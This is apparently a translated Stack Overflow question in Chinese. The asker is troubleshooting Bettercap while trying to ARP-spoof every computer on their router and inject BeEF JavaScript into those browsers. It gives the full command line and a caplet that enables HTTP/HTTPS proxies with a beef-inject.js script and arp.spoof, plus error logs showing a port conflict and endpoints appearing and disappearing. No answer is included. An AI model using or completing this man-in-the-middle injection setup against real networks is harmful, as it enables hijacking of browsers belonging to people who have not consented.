【发布时间】:2019-01-15 13:59:36
【问题描述】:
无论我尝试使用哪个端口,我都会不断收到错误消息:
listen tcp 0.0.0.0:PORT_NUMBER: bind: address already in use
环境
- 如果您需要知道的话,我还使用 Brew 安装了它
- Bettercap 2.11.1
- Mac OS High-Sierra
- golang 1.11.4
使用的命令行代码:
sudo bettercap -eval "set net.probe off; set arp.spoof.targets 0.0.0.0" -caplet beef-active.cap
beef-active.cap:
set http.proxy.script beef-inject.js
set http.proxy.port 8011
set https.proxy.port 8011
http.proxy on
https.proxy on
sleep 1
arp.spoof on
预期行为:
我正在尝试将一些 js 注入到连接到我的路由器的每台计算机的浏览器中。我只是看到一条消息表明牛肉注射液已成功注射
实际行为:实际发生的情况
当它到达我的 IP 地址时停止。这是输出:
[13:26:41] [sys.log] [inf] http.proxy 开始于 0.0.0.0:8011(sslstrip 已禁用)
[13:26:41] [sys.log] [inf] 从 /var/root/.bettercap-ca.key.pem 加载代理证书颁发机构 TLS 密钥
[13:26:41] [sys.log] [inf] 从 /var/root/.bettercap-ca.cert.pem 加载代理证书颁发机构 TLS 证书
[13:26:41] [sys.log] [inf] 启用转发。
[13:26:41] [sys.log] [inf] https.proxy 开始于 0.0.0.0:8011(已禁用 sslstrip)
[13:26:41] [sys.log] [!!!] listen tcp 0.0.0.0:8011: bind: address already in use
编辑:
将两者的端口更改为不同的端口可以阻止错误,但它仍然没有向浏览器注入任何内容。我在控制台中得到的只是:
好的,所以我改变了它,但我不再收到该错误,但它仍然没有将任何 JS 注入浏览器。我只是不断获得新的和丢失的端点,如下所示:
0.0.0.0/24 > 0.0.0.0 » [08:33:17] [endpoint.new] endpoint 0.0.0.0 detected as 04:18:d6:d0:69:e7 (Apple, Inc.).
0.0.0.0/24 > 0.0.0.0 » [08:33:23] [endpoint.lost] endpoint 0.0.0.0 (Apple, Inc.) lost.
....然后它不断地通过相同的消息,新>丢失>新>丢失
有什么想法吗?
【问题讨论】: